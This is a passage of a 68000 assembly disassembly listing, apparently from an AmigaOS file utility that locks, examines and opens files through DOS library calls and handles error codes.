  1194.     JSR    -96(A6)            ;0ADE: 4EAEFFA0
  1195.     MOVE.L    D0,(A3)            ;0AE2: 2680
  1196.     TST.L    D0            ;0AE4: 4A80
  1197.     BNE.S    LAB_001D        ;0AE6: 661A
  1198.     MOVEA.L    A6,A2            ;0AE8: 244E
  1199.     MOVEA.L    A2,A6            ;0AEA: 2C4A
  1200.     JSR    -132(A6)        ;0AEC: 4EAEFF7C
  1201.     MOVE.L    D0,D4            ;0AF0: 2800
  1202.     MOVE.L    D4,D1            ;0AF2: 2204
  1203.     MOVEQ    #0,D2            ;0AF4: 7400
  1204.     JSR    -474(A6)        ;0AF6: 4EAEFE26
  1205.     MOVEA.L    -140(A5),A3        ;0AFA: 266DFF74
  1206.     BRA    LAB_009B        ;0AFE: 60000E9E
  1207. LAB_001D:
  1208.     MOVEA.L    38(A7),A3        ;0B02: 266F0026
  1209.     MOVE.B    36(A7),D0        ;0B06: 102F0024
  1210.     MOVE.B    D0,(A3)            ;0B0A: 1680
  1211.     TST.B    D0            ;0B0C: 4A00
  1212.     BEQ.S    LAB_001F        ;0B0E: 670C
  1213.     MOVEA.L    A3,A0            ;0B10: 204B
  1214.     MOVEA.L    A2,A1            ;0B12: 224A
  1215. LAB_001E:
  1216.     MOVE.B    (A0)+,(A1)+        ;0B14: 12D8
  1217.     BNE.S    LAB_001E        ;0B16: 66FC
  1218.     BRA    LAB_0027        ;0B18: 600000D4
  1219. LAB_001F:
  1220.     CLR.B    (A2)            ;0B1C: 4212
  1221.     BRA    LAB_0027        ;0B1E: 600000CE
  1222. LAB_0020:
  1223.     MOVE.L    A2,D1            ;0B22: 220A
  1224.     MOVEQ    #-2,D2            ;0B24: 74FE
  1225.     MOVEA.L    46(A7),A6        ;0B26: 2C6F002E
  1226.     JSR    -84(A6)            ;0B2A: 4EAEFFAC
  1227.     MOVE.L    D0,(A3)            ;0B2E: 2680
  1228.     TST.L    D0            ;0B30: 4A80
  1229.     BNE.S    LAB_0021        ;0B32: 6658
  1230.     MOVE.B    36(A7),D0        ;0B34: 102F0024
  1231.     MOVEA.L    38(A7),A0        ;0B38: 206F0026
  1232.     MOVE.B    D0,(A0)            ;0B3C: 1080
  1233.     JSR    -132(A6)        ;0B3E: 4EAEFF7C
  1234.     MOVE.L    D0,D4            ;0B42: 2800
  1235.     MOVEQ    #46,D0            ;0B44: 702E
  1236.     NOT.B    D0            ;0B46: 4600
  1237.     CMP.L    D0,D4            ;0B48: B880
  1238.     BEQ    LAB_0027        ;0B4A: 670000A2
  1239.     MOVE.L    A2,-116(A5)        ;0B4E: 2B4AFF8C
  1240.     MOVEA.L    A6,A2            ;0B52: 244E
  1241.     LEA    LAB_00AE(PC),A0        ;0B54: 41FA1014
  1242.     MOVE.L    A0,D1            ;0B58: 2208
  1243.     LEA    -116(A5),A1        ;0B5A: 43EDFF8C
  1244.     MOVE.L    A1,D2            ;0B5E: 2409
  1245.     MOVEA.L    A2,A6            ;0B60: 2C4A
  1246.     JSR    -954(A6)        ;0B62: 4EAEFC46
  1247.     LEA    LAB_00AF(PC),A0        ;0B66: 41FA1016
  1248.     MOVE.L    A0,-116(A5)        ;0B6A: 2B48FF8C
  1249.     LEA    LAB_00B0(PC),A0        ;0B6E: 41FA1012
  1250.     MOVE.L    A0,D1            ;0B72: 2208
  1251.     JSR    -954(A6)        ;0B74: 4EAEFC46
  1252.     MOVE.L    D4,D1            ;0B78: 2204
  1253.     MOVEQ    #0,D2            ;0B7A: 7400
  1254.     JSR    -474(A6)        ;0B7C: 4EAEFE26
  1255.     CLR.L    -116(A5)        ;0B80: 42ADFF8C
  1256.     MOVEA.L    -140(A5),A3        ;0B84: 266DFF74
  1257.     BRA    LAB_009B        ;0B88: 60000E14
  1258. LAB_0021:
  1259.     MOVEA.L    -156(A5),A0        ;0B8C: 206DFF64
  1260.     ADDA.L    D7,A0            ;0B90: D1C7
  1261.     MOVEA.L    A0,A3            ;0B92: 2648
  1262.     MOVEA.L    A2,A0            ;0B94: 204A
  1263. LAB_0022:
  1264.     TST.B    (A0)+            ;0B96: 4A18
  1265.     BNE.S    LAB_0022        ;0B98: 66FC
  1266.     SUBQ.L    #1,A0            ;0B9A: 5388
  1267.     SUBA.L    A2,A0            ;0B9C: 91CA
  1268.     MOVE.L    A0,D0            ;0B9E: 2008
  1269.     ADDQ.L    #1,D0            ;0BA0: 5280
  1270.     MOVE.L    #$00010001,D1        ;0BA2: 223C00010001
  1271.     MOVEA.L    50(A7),A6        ;0BA8: 2C6F0032
  1272.     JSR    -684(A6)        ;0BAC: 4EAEFD54
  1273.     MOVE.L    D0,(A3)            ;0BB0: 2680
  1274.     BNE.S    LAB_0023        ;0BB2: 6618
  1275.     MOVEQ    #103,D4            ;0BB4: 7867
  1276.     MOVEA.L    46(A7),A2        ;0BB6: 246F002E
  1277.     MOVEQ    #103,D1            ;0BBA: 7267
  1278.     MOVEQ    #0,D2            ;0BBC: 7400
  1279.     MOVEA.L    A2,A6            ;0BBE: 2C4A
  1280.     JSR    -474(A6)        ;0BC0: 4EAEFE26
  1281.     MOVEA.L    -140(A5),A3        ;0BC4: 266DFF74
  1282.     BRA    LAB_009B        ;0BC8: 60000DD4
  1283. LAB_0023:
  1284.     MOVEA.L    A2,A0            ;0BCC: 204A
  1285.     MOVEA.L    (A3),A1            ;0BCE: 2253
  1286. LAB_0024:
  1287.     MOVE.B    (A0)+,(A1)+        ;0BD0: 12D8
  1288.     BNE.S    LAB_0024        ;0BD2: 66FC
  1289.     MOVEA.L    38(A7),A3        ;0BD4: 266F0026
  1290.     MOVE.B    36(A7),D0        ;0BD8: 102F0024
  1291.     MOVE.B    D0,(A3)            ;0BDC: 1680
  1292.     TST.B    D0            ;0BDE: 4A00
  1293.     BEQ.S    LAB_0026        ;0BE0: 670A
  1294.     MOVEA.L    A3,A0            ;0BE2: 204B
  1295.     MOVEA.L    A2,A1            ;0BE4: 224A
  1296. LAB_0025:
  1297.     MOVE.B    (A0)+,(A1)+        ;0BE6: 12D8
  1298.     BNE.S    LAB_0025        ;0BE8: 66FC
  1299.     BRA.S    LAB_0027        ;0BEA: 6002
  1300. LAB_0026:
  1301.     CLR.B    (A2)            ;0BEC: 4212
  1302. LAB_0027:
  1303.     ADDQ    #1,-170(A5)        ;0BEE: 526DFF56
  1304.     MOVEA.L    46(A7),A2        ;0BF2: 246F002E
  1305. LAB_0028:
  1306.     MOVEQ    #0,D7            ;0BF6: 7E00
  1307.     MOVE    -170(A5),D7        ;0BF8: 3E2DFF56
  1308.     ASL.L    #2,D7            ;0BFC: E587
  1309.     MOVEA.L    42(A7),A0        ;0BFE: 206F002A
  1310.     ADDA.L    D7,A0            ;0C02: D1C7
  1311.     MOVEA.L    A0,A3            ;0C04: 2648
  1312.     TST.L    (A3)            ;0C06: 4A93
  1313.     BNE    LAB_0015        ;0C08: 6600FE2A
  1314.     MOVE.L    -108(A5),-64(A5)    ;0C0C: 2B6DFF94FFC0
  1315.     MOVEA.L    -152(A5),A3        ;0C12: 266DFF68
  1316.     MOVE.L    A3,-160(A5)        ;0C16: 2B4BFF60
  1317.     CLR.L    -116(A5)        ;0C1A: 42ADFF8C
  1318.     MOVE.L    (A3),D0            ;0C1E: 2013
  1319.     BEQ.S    LAB_0029        ;0C20: 670C
  1320.     MOVE.L    D0,D1            ;0C22: 2200
  1321.     MOVEA.L    A2,A6            ;0C24: 2C4A
  1322.     JSR    -126(A6)        ;0C26: 4EAEFF82
  1323.     MOVE.L    D0,-164(A5)        ;0C2A: 2B40FF5C
  1324. LAB_0029:
  1325.     MOVEA.L    -64(A5),A0        ;0C2E: 206DFFC0
  1326.     MOVE.L    (A0),D1            ;0C32: 2210
  1327.     MOVE.L    -140(A5),D2        ;0C34: 242DFF74
  1328.     MOVEA.L    A2,A6            ;0C38: 2C4A
  1329.     JSR    -822(A6)        ;0C3A: 4EAEFCCA
  1330.     TST.L    D0            ;0C3E: 4A80
  1331.     BEQ    LAB_002F        ;0C40: 670000D2
  1332.     TST.L    (A3)            ;0C44: 4A93
  1333.     BEQ.S    LAB_002A        ;0C46: 6708
  1334.     MOVE.L    -164(A5),D1        ;0C48: 222DFF5C
  1335.     JSR    -126(A6)        ;0C4C: 4EAEFF82
  1336. LAB_002A:
  1337.     JSR    -132(A6)        ;0C50: 4EAEFF7C
  1338.     MOVE.L    D0,D4            ;0C54: 2800
  1339.     MOVEQ    #50,D0            ;0C56: 7032
  1340.     NOT.B    D0            ;0C58: 4600
  1341.     CMP.L    D0,D4            ;0C5A: B880
  1342.     BNE    LAB_0096        ;0C5C: 66000CD4
  1343.     MOVE.L    -108(A5),D0        ;0C60: 202DFF94
  1344.     MOVE.L    D0,-116(A5)        ;0C64: 2B40FF8C
  1345.     MOVE.L    D0,D2            ;0C68: 2400
  1346.     LEA    LAB_00AE(PC),A0        ;0C6A: 41FA0EFE
  1347.     MOVE.L    A0,D1            ;0C6E: 2208
  1348.     JSR    -954(A6)        ;0C70: 4EAEFC46
  1349.     LEA    LAB_00AF(PC),A0        ;0C74: 41FA0F08
  1350.     MOVE.L    A0,-116(A5)        ;0C78: 2B48FF8C
  1351.     LEA    LAB_00B0(PC),A0        ;0C7C: 41FA0F04
  1352.     MOVE.L    A0,D1            ;0C80: 2208
  1353.     LEA    -116(A5),A1        ;0C82: 43EDFF8C
  1354.     MOVE.L    A1,D2            ;0C86: 2409
  1355.     JSR    -954(A6)        ;0C88: 4EAEFC46
  1356.     MOVE.L    D4,D1            ;0C8C: 2204
  1357.     MOVEQ    #0,D2            ;0C8E: 7400
  1358.     JSR    -474(A6)        ;0C90: 4EAEFE26
  1359.     CLR.L    -116(A5)        ;0C94: 42ADFF8C
  1360.     MOVEA.L    -108(A5),A0        ;0C98: 206DFF94
  1361.     MOVE.L    (A0),D1            ;0C9C: 2210
  1362.     JSR    -876(A6)        ;0C9E: 4EAEFC94
  1363.     MOVEA.L    D0,A3            ;0CA2: 2640
  1364.     MOVE.B    (A3),D0            ;0CA4: 1013
  1365.     CLR.B    (A3)            ;0CA6: 4213
  1366.     MOVE.B    D0,36(A7)        ;0CA8: 1F400024
  1367.     MOVEA.L    -160(A5),A0        ;0CAC: 206DFF60
  1368.     MOVE.L    (A0),D1            ;0CB0: 2210
  1369.     BEQ.S    LAB_002B        ;0CB2: 6708
  1370.     JSR    -126(A6)        ;0CB4: 4EAEFF82
  1371.     MOVE.L    D0,-164(A5)        ;0CB8: 2B40FF5C
  1372. LAB_002B:
  1373.     MOVEA.L    -108(A5),A0        ;0CBC: 206DFF94
  1374.     MOVE.L    (A0),D1            ;0CC0: 2210
  1375.     MOVEQ    #-2,D2            ;0CC2: 74FE
  1376.     JSR    -84(A6)            ;0CC4: 4EAEFFAC
  1377.     MOVE.L    D0,D7            ;0CC8: 2E00
  1378.     LEA    LAB_00B1(PC),A0        ;0CCA: 41FA0EC0
  1379.     MOVE.L    A0,D1            ;0CCE: 2208
  1380.     JSR    -84(A6)            ;0CD0: 4EAEFFAC
  1381.     MOVE.L    D0,D6            ;0CD4: 2C00
  1382.     MOVEA.L    -160(A5),A0        ;0CD6: 206DFF60
  1383.     TST.L    (A0)            ;0CDA: 4A90
  1384.     BEQ.S    LAB_002C        ;0CDC: 6708
  1385.     MOVE.L    -164(A5),D1        ;0CDE: 222DFF5C
  1386.     JSR    -126(A6)        ;0CE2: 4EAEFF82
  1387. LAB_002C:
  1388.     MOVE.L    D7,D1            ;0CE6: 2207
  1389.     MOVE.L    D6,D2            ;0CE8: 2406
  1390.     JSR    -420(A6)        ;0CEA: 4EAEFE5C
  1391.     TST.L    D0            ;0CEE: 4A80
  1392.     BNE.S    LAB_002D        ;0CF0: 6604
  1393.     MOVEQ    #5,D0            ;0CF2: 7005
  1394.     BRA.S    LAB_002E        ;0CF4: 6002
  1395. LAB_002D:
  1396.     MOVEQ    #20,D0            ;0CF6: 7014
  1397. LAB_002E:
  1398.     MOVE.B    36(A7),(A3)        ;0CF8: 16AF0024
  1399.     MOVE.L    D0,-68(A5)        ;0CFC: 2B40FFBC
  1400.     MOVE.L    D7,D1            ;0D00: 2207
  1401.     JSR    -90(A6)            ;0D02: 4EAEFFA6
  1402.     MOVE.L    D2,D1            ;0D06: 2202
  1403.     JSR    -90(A6)            ;0D08: 4EAEFFA6
  1404.     MOVEA.L    -140(A5),A3        ;0D0C: 266DFF74
  1405.     BRA    LAB_009B        ;0D10: 60000C8C
  1406. LAB_002F:
  1407.     MOVEA.L    46(A7),A2        ;0D14: 246F002E
  1408.     MOVEA.L    -160(A5),A3        ;0D18: 266DFF60
  1409.     MOVEA.L    -104(A5),A0        ;0D1C: 206DFF98
  1410.     MOVE.L    A0,D1            ;0D20: 2208
  1411.     MOVEA.L    A2,A6            ;0D22: 2C4A
  1412.     JSR    -708(A6)        ;0D24: 4EAEFD3C
  1413.     EXT.L    D0            ;0D28: 48C0
  1414.     MOVEM.L    D0,40(A7)        ;0D2A: 48EF00010028
  1415.     BNE.S    LAB_0030        ;0D30: 662C
  1416.     JSR    -132(A6)        ;0D32: 4EAEFF7C
  1417.     TST.L    D0            ;0D36: 4A80
  1418.     BEQ.S    LAB_0030        ;0D38: 6724
  1419.     JSR    -132(A6)        ;0D3A: 4EAEFF7C
  1420.     MOVEQ    #46,D1            ;0D3E: 722E
  1421.     NOT.B    D1            ;0D40: 4601
  1422.     CMP.L    D1,D0            ;0D42: B081
  1423.     BEQ.S    LAB_0030        ;0D44: 6718
  1424.     JSR    -132(A6)        ;0D46: 4EAEFF7C
  1425.     MOVE.L    D0,D4            ;0D4A: 2800
  1426.     TST.L    (A3)            ;0D4C: 4A93
  1427.     BEQ    LAB_0096        ;0D4E: 67000BE2
  1428.     MOVE.L    -164(A5),D1        ;0D52: 222DFF5C
  1429.     JSR    -126(A6)        ;0D56: 4EAEFF82
  1430.     BRA    LAB_0096        ;0D5A: 60000BD6
  1431. LAB_0030:
  1432.     MOVEA.L    46(A7),A2        ;0D5E: 246F002E
  1433.     MOVEA.L    -160(A5),A3        ;0D62: 266DFF60
  1434.     TST.L    (A3)            ;0D66: 4A93
  1435.     BEQ.S    LAB_0031        ;0D68: 670A
  1436.     MOVE.L    -164(A5),D1        ;0D6A: 222DFF5C
  1437.     MOVEA.L    A2,A6            ;0D6E: 2C4A
  1438.     JSR    -126(A6)        ;0D70: 4EAEFF82
  1439. LAB_0031:
  1440.     MOVEA.L    -140(A5),A3        ;0D74: 266DFF74
  1441.     BTST    #1,16(A3)        ;0D78: 082B00010010
  1442.     BNE.S    LAB_0032        ;0D7E: 6612
  1443.     MOVE.L    24(A3),D0        ;0D80: 202B0018
  1444.     TST.L    D0            ;0D84: 4A80
  1445.     BGT.S    LAB_0032        ;0D86: 6E0A
  1446.     MOVEA.L    -64(A5),A0        ;0D88: 206DFFC0
  1447.     TST.L    4(A0)            ;0D8C: 4AA80004
  1448.     BEQ.S    LAB_0033        ;0D90: 6740
  1449. LAB_0032:
  1450.     MOVEQ    #1,D0            ;0D92: 7001
  1451.     MOVE.L    D0,-28(A5)        ;0D94: 2B40FFE4
  1452.     BTST    #1,16(A3)        ;0D98: 082B00010010
  1453.     BNE.S    LAB_0033        ;0D9E: 6632
  1454.     MOVE.L    24(A3),D0        ;0DA0: 202B0018
  1455.     TST.L    D0            ;0DA4: 4A80
  1456.     BLE.S    LAB_0033        ;0DA6: 6F2A
  1457.     BSET    #2,16(A3)        ;0DA8: 08EB00020010
  1458.     MOVEA.L    -160(A5),A0        ;0DAE: 206DFF60
  1459.     MOVE.L    (A0),D0            ;0DB2: 2010
  1460.     MOVEA.L    A3,A0            ;0DB4: 204B
  1461.     MOVEA.L    A2,A1            ;0DB6: 224A
  1462.     BSR    LAB_00D0        ;0DB8: 61000EAA
  1463.     TST.L    D0            ;0DBC: 4A80
  1464.     BEQ.S    LAB_0033        ;0DBE: 6712
  1465.     MOVEA.L    A2,A6            ;0DC0: 2C4A
  1466.     JSR    -132(A6)        ;0DC2: 4EAEFF7C
  1467.     MOVE.L    D0,D4            ;0DC6: 2800
  1468.     MOVEQ    #116,D0            ;0DC8: 7074
  1469.     ADD.L    D0,D0            ;0DCA: D080
  1470.     CMP.L    D0,D4            ;0DCC: B880
  1471.     BNE    LAB_0096        ;0DCE: 66000B62
  1472. LAB_0033:
  1473.     MOVEA.L    46(A7),A2        ;0DD2: 246F002E
  1474.     MOVE.L    -104(A5),D0        ;0DD6: 202DFF98
  1475.     MOVE.L    D0,-116(A5)        ;0DDA: 2B40FF8C
  1476.     MOVEA.L    D0,A3            ;0DDE: 2640
  1477.     TST.L    -28(A5)            ;0DE0: 4AADFFE4
  1478.     BEQ    LAB_003A        ;0DE4: 670000D8
  1479.     TST.L    40(A7)            ;0DE8: 4AAF0028
  1480.     BEQ    LAB_003A        ;0DEC: 670000D0
  1481.     MOVE.L    A3,D1            ;0DF0: 220B
  1482.     MOVEQ    #-2,D2            ;0DF2: 74FE
  1483.     MOVEA.L    A2,A6            ;0DF4: 2C4A
  1484.     JSR    -84(A6)            ;0DF6: 4EAEFFAC
  1485.     MOVE.L    D0,D5            ;0DFA: 2A00
  1486.     TST.L    D5            ;0DFC: 4A85
  1487.     BEQ.S    LAB_0036        ;0DFE: 6742
  1488.     MOVEA.L    -132(A5),A3        ;0E00: 266DFF7C
  1489.     MOVE.L    D5,D1            ;0E04: 2205
  1490.     MOVE.L    A3,D2            ;0E06: 240B
  1491.     JSR    -102(A6)        ;0E08: 4EAEFF9A
  1492.     TST.L    D0            ;0E0C: 4A80
  1493.     BEQ.S    LAB_0034        ;0E0E: 6722
  1494.     MOVE.L    4(A3),D0        ;0E10: 202B0004
  1495.     TST.L    D0            ;0E14: 4A80
  1496.     BPL.S    LAB_0035        ;0E16: 6A24
  1497.     LEA    LAB_00B2(PC),A1        ;0E18: 43FA0D76
  1498.     MOVE.L    A1,D1            ;0E1C: 2209
  1499.     JSR    -948(A6)        ;0E1E: 4EAEFC4C
  1500.     MOVEQ    #0,D4            ;0E22: 7800
  1501.     MOVEQ    #10,D0            ;0E24: 700A
  1502.     MOVE.L    D0,-68(A5)        ;0E26: 2B40FFBC
  1503.     MOVEA.L    -140(A5),A3        ;0E2A: 266DFF74
  1504.     BRA    LAB_009B        ;0E2E: 60000B6E
  1505. LAB_0034:
  1506.     JSR    -132(A6)        ;0E32: 4EAEFF7C
  1507.     MOVE.L    D0,D4            ;0E36: 2800
  1508.     BRA    LAB_0096        ;0E38: 60000AF8
  1509. LAB_0035:
  1510.     CLR.L    -36(A5)            ;0E3C: 42ADFFDC
  1511.     BRA.S    LAB_0039        ;0E40: 6060
  1512. LAB_0036:
  1513.     MOVEA.L    -104(A5),A0        ;0E42: 206DFF98
  1514.     MOVE.L    A0,D1            ;0E46: 2208
  1515.     JSR    -120(A6)        ;0E48: 4EAEFF88
  1516.     MOVE.L    D0,D5            ;0E4C: 2A00
  1517.     TST.L    D5            ;0E4E: 4A85
  1518.     BNE.S    LAB_0037        ;0E50: 660A
  1519.     JSR    -132(A6)        ;0E52: 4EAEFF7C
  1520.     MOVE.L    D0,D4            ;0E56: 2800
  1521.     BRA    LAB_0096        ;0E58: 60000AD8
  1522. LAB_0037:
  1523.     MOVEA.L    46(A7),A2        ;0E5C: 246F002E
  1524.     MOVEQ    #1,D0            ;0E60: 7001
  1525.     MOVE.L    D0,-36(A5)        ;0E62: 2B40FFDC
  1526.     TST.L    -96(A5)            ;0E66: 4AADFFA0
  1527.     BNE.S    LAB_0038        ;0E6A: 6612
  1528.     LEA    LAB_00B4(PC),A0        ;0E6C: 41FA0D44
  1529.     MOVE.L    A0,D1            ;0E70: 2208
  1530.     LEA    -104(A5),A1        ;0E72: 43EDFF98
  1531.     MOVE.L    A1,D2            ;0E76: 2409
  1532.     MOVEA.L    A2,A6            ;0E78: 2C4A
  1533.     JSR    -954(A6)        ;0E7A: 4EAEFC46
  1534. LAB_0038:
  1535.     MOVE.L    D5,D1            ;0E7E: 2205
  1536.     MOVEA.L    A2,A6            ;0E80: 2C4A
  1537.     JSR    -90(A6)            ;0E82: 4EAEFFA6
  1538.     MOVEA.L    -104(A5),A0        ;0E86: 206DFF98
  1539.     MOVE.L    A0,D1            ;0E8A: 2208
  1540.     MOVEQ    #-2,D2            ;0E8C: 74FE
  1541.     JSR    -84(A6)            ;0E8E: 4EAEFFAC
  1542.     MOVE.L    D0,D5            ;0E92: 2A00
  1543.     TST.L    D5            ;0E94: 4A85
  1544.     BNE.S    LAB_0039        ;0E96: 660A
  1545.     JSR    -132(A6)        ;0E98: 4EAEFF7C
  1546.     MOVE.L    D0,D4            ;0E9C: 2800
  1547.     BRA    LAB_0096        ;0E9E: 60000A92
  1548. LAB_0039:
  1549.     MOVEA.L    46(A7),A3        ;0EA2: 266F002E
  1550.     MOVE.L    D5,D1            ;0EA6: 2205
  1551.     MOVEA.L    A3,A6            ;0EA8: 2C4B
  1552.     JSR    -96(A6)            ;0EAA: 4EAEFFA0
  1553.     MOVE.L    D0,-128(A5)        ;0EAE: 2B40FF80
  1554.     BNE.S    LAB_003D        ;0EB2: 6668
  1555.     JSR    -132(A6)        ;0EB4: 4EAEFF7C
  1556.     MOVE.L    D0,D4            ;0EB8: 2800
  1557.     BRA    LAB_0096        ;0EBA: 60000A76
  1558. LAB_003A:
  1559.     MOVE.L    A3,D1            ;0EBE: 220B
  1560.     MOVEQ    #-2,D2            ;0EC0: 74FE
  1561.     MOVEA.L    A2,A6            ;0EC2: 2C4A
  1562.     JSR    -84(A6)            ;0EC4: 4EAEFFAC
  1563.     MOVE.L    D0,D5            ;0EC8: 2A00
  1564.     TST.L    D5            ;0ECA: 4A85
  1565.     BNE.S    LAB_003B        ;0ECC: 6618
  1566.     JSR    -132(A6)        ;0ECE: 4EAEFF7C
  1567.     MOVE.L    D0,D4            ;0ED2: 2800
  1568.     MOVEQ    #50,D0            ;0ED4: 7032
  1569.     NOT.B    D0            ;0ED6: 4600
  1570.     CMP.L    D0,D4            ;0ED8: B880
  1571.     BEQ.S    LAB_003B        ;0EDA: 670A
  1572.     MOVEQ    #46,D0            ;0EDC: 702E
  1573.     NOT.B    D0            ;0EDE: 4600
  1574.     CMP.L    D0,D4            ;0EE0: B880
  1575.     BNE    LAB_0096        ;0EE2: 66000A4E
  1576. LAB_003B:
  1577.     MOVEA.L    46(A7),A2        ;0EE6: 246F002E
  1578.     TST.L    D5            ;0EEA: 4A85
  1579.     BEQ.S    LAB_003D        ;0EEC: 672E
  1580.     MOVEA.L    -132(A5),A3        ;0EEE: 266DFF7C
  1581.     MOVE.L    D5,D1            ;0EF2: 2205
  1582.     MOVE.L    A3,D2            ;0EF4: 240B
  1583.     MOVEA.L    A2,A6            ;0EF6: 2C4A
  1584.     JSR    -102(A6)        ;0EF8: 4EAEFF9A
  1585.     TST.L    D0            ;0EFC: 4A80
  1586.     BEQ.S    LAB_003C        ;0EFE: 6712
  1587.     MOVE.L    4(A3),D0        ;0F00: 202B0004
  1588.     TST.L    D0            ;0F04: 4A80
  1589.     BPL.S    LAB_003D        ;0F06: 6A14
  1590.     MOVE.L    D5,D1            ;0F08: 2205
  1591.     JSR    -90(A6)            ;0F0A: 4EAEFFA6
  1592.     MOVEQ    #0,D5            ;0F0E: 7A00
  1593.     BRA.S    LAB_003D        ;0F10: 600A
  1594. LAB_003C:
  1595.     JSR    -132(A6)        ;0F12: 4EAEFF7C
  1596.     MOVE.L    D0,D4            ;0F16: 2800
  1597.     BRA    LAB_0096        ;0F18: 60000A18
  1598. LAB_003D:
  1599.     MOVEA.L    -160(A5),A2        ;0F1C: 246DFF60
  1600.     MOVEA.L    46(A7),A3        ;0F20: 266F002E
  1601.     MOVE.L    (A2),D0            ;0F24: 2012
  1602.     BEQ.S    LAB_003E        ;0F26: 670C
  1603.     MOVE.L    D0,D1            ;0F28: 2200
  1604.     MOVEA.L    A3,A6            ;0F2A: 2C4B
  1605.     JSR    -126(A6)        ;0F2C: 4EAEFF82
  1606.     MOVE.L    D0,-164(A5)        ;0F30: 2B40FF5C
  1607. LAB_003E:
  1608.     MOVE.L    -92(A5),D0        ;0F34: 202DFFA4
  1609.     BEQ.S    LAB_0040        ;0F38: 671E
  1610.     MOVEA.L    D0,A0            ;0F3A: 2040
  1611.     MOVE.L    (A0),D7            ;0F3C: 2E10
  1612.     TST.L    D7            ;0F3E: 4A87
  1613.     BMI.S    LAB_003F        ;0F40: 6B10
  1614.     MOVEA.L    -64(A5),A0        ;0F42: 206DFFC0
  1615.     MOVE.L    (A0),D1            ;0F46: 2210
  1616.     MOVEA.L    A3,A6            ;0F48: 2C4B
  1617.     JSR    -708(A6)        ;0F4A: 4EAEFD3C
  1618.     TST    D0            ;0F4E: 4A40
  1619.     BNE.S    LAB_0041        ;0F50: 660A
  1620. LAB_003F:
  1621.     MOVEQ    #64,D7            ;0F52: 7E40
  1622.     ADD.L    D7,D7            ;0F54: DE87
  1623.     BRA.S    LAB_0041        ;0F56: 6004
  1624. LAB_0040:
  1625.     MOVEQ    #64,D7            ;0F58: 7E40
  1626.     ADD.L    D7,D7            ;0F5A: DE87
  1627. LAB_0041:
  1628.     ASL.L    #8,D7            ;0F5C: E187
  1629.     ADD.L    D7,D7            ;0F5E: DE87
  1630.     MOVE.L    D7,-112(A5)        ;0F60: 2B47FF90
  1631.     TST.L    (A2)            ;0F64: 4A92
  1632.     BEQ.S    LAB_0042        ;0F66: 670A
  1633.     MOVE.L    -164(A5),D1        ;0F68: 222DFF5C
  1634.     MOVEA.L    A3,A6            ;0F6C: 2C4B
  1635.     JSR    -126(A6)        ;0F6E: 4EAEFF82
  1636. LAB_0042:
  1637.     TST.L    D7            ;0F72: 4A87
  1638.     BEQ.S    LAB_0045        ;0F74: 6738
  1639. LAB_0043:
  1640.     MOVE.L    D7,D0            ;0F76: 2007
  1641.     MOVEQ    #0,D1            ;0F78: 7200
  1642.     MOVEA.L    50(A7),A6        ;0F7A: 2C6F0032
  1643.     JSR    -684(A6)        ;0F7E: 4EAEFD54
  1644.     MOVE.L    D0,-56(A5)        ;0F82: 2B40FFC8
  1645.     BNE.S    LAB_0045        ;0F86: 6626
  1646.     MOVE.L    -112(A5),D7        ;0F88: 2E2DFF90
  1647.     CMPI.L    #$00000400,D7        ;0F8C: 0C8700000400
  1648.     BGT.S    LAB_0044        ;0F92: 6E0A
  1649.     MOVEQ    #103,D4            ;0F94: 7867
  1650.     CLR.L    -116(A5)        ;0F96: 42ADFF8C
  1651.     BRA    LAB_0096        ;0F9A: 60000996
  1652. LAB_0044:
  1653.     MOVE.L    -112(A5),D7        ;0F9E: 2E2DFF90
  1654.     SUBI.L    #$00000400,D7        ;0FA2: 048700000400
  1655.     MOVE.L    D7,-112(A5)        ;0FA8: 2B47FF90
  1656.     BRA.S    LAB_0043        ;0FAC: 60C8
  1657. LAB_0045:
  1658.     MOVEQ    #1,D0            ;0FAE: 7001
  1659.     MOVE.L    D0,-40(A5)        ;0FB0: 2B40FFD8
  1660.     MOVEA.L    46(A7),A2        ;0FB4: 246F002E
  1661.     BRA    LAB_0095        ;0FB8: 6000095E
  1662. LAB_0046:
  1663.     TST.L    -40(A5)            ;0FBC: 4AADFFD8
  1664.     BEQ.S    LAB_0047        ;0FC0: 6708
  1665.     CLR.L    -40(A5)            ;0FC2: 42ADFFD8
  1666.     BRA    LAB_0050        ;0FC6: 6000019A
  1667. LAB_0047:
  1668.     MOVE.L    D5,D1            ;0FCA: 2205
  1669.     MOVEA.L    A2,A6            ;0FCC: 2C4A
  1670.     JSR    -90(A6)            ;0FCE: 4EAEFFA6
  1671.     MOVE.L    -128(A5),D1        ;0FD2: 222DFF80
  1672.     JSR    -96(A6)            ;0FD6: 4EAEFFA0
  1673.     MOVE.L    D0,D5            ;0FDA: 2A00
  1674.     TST.L    D5            ;0FDC: 4A85
  1675.     BNE.S    LAB_0048        ;0FDE: 660A
  1676.     JSR    -132(A6)        ;0FE0: 4EAEFF7C
  1677.     MOVE.L    D0,D4            ;0FE4: 2800
  1678.     BRA    LAB_0096        ;0FE6: 6000094A
  1679. LAB_0048:
  1680.     MOVEA.L    46(A7),A2        ;0FEA: 246F002E
  1681.     MOVEA.L    -160(A5),A3        ;0FEE: 266DFF60
  1682.     ADDQ.L    #4,A3            ;0FF2: 588B
  1683.     MOVE.L    A3,-160(A5)        ;0FF4: 2B4BFF60
  1684.     MOVE.L    (A3),D0            ;0FF8: 2013
  1685.     BEQ.S    LAB_0049        ;0FFA: 670C
  1686.     MOVE.L    D0,D1            ;0FFC: 2200
  1687.     MOVEA.L    A2,A6            ;0FFE: 2C4A
  1688.     JSR    -126(A6)        ;1000: 4EAEFF82
  1689.     MOVE.L    D0,-164(A5)        ;1004: 2B40FF5C
  1690. LAB_0049:
  1691.     MOVE.L    -60(A5),D1        ;1008: 222DFFC4
  1692.     MOVE.L    -140(A5),D2        ;100C: 242DFF74
  1693.     MOVEA.L    A2,A6            ;1010: 2C4A
  1694.     JSR    -822(A6)        ;1012: 4EAEFCCA
  1695.     TST.L    D0            ;1016: 4A80
  1696.     BEQ.S    LAB_004B        ;1018: 6766
  1697.     TST.L    (A3)            ;101A: 4A93
  1698.     BEQ.S    LAB_004A        ;101C: 6708
  1699.     MOVE.L    -164(A5),D1        ;101E: 222DFF5C
  1700.     JSR    -126(A6)        ;1022: 4EAEFF82
  1701. LAB_004A:
  1702.     JSR    -132(A6)        ;1026: 4EAEFF7C
  1703.     MOVE.L    D0,D4            ;102A: 2800
  1704.     MOVE.L    -60(A5),-116(A5)    ;102C: 2B6DFFC4FF8C
  1705.     MOVEQ    #50,D0            ;1032: 7032
  1706.     NOT.B    D0            ;1034: 4600
  1707.     CMP.L    D0,D4            ;1036: B880
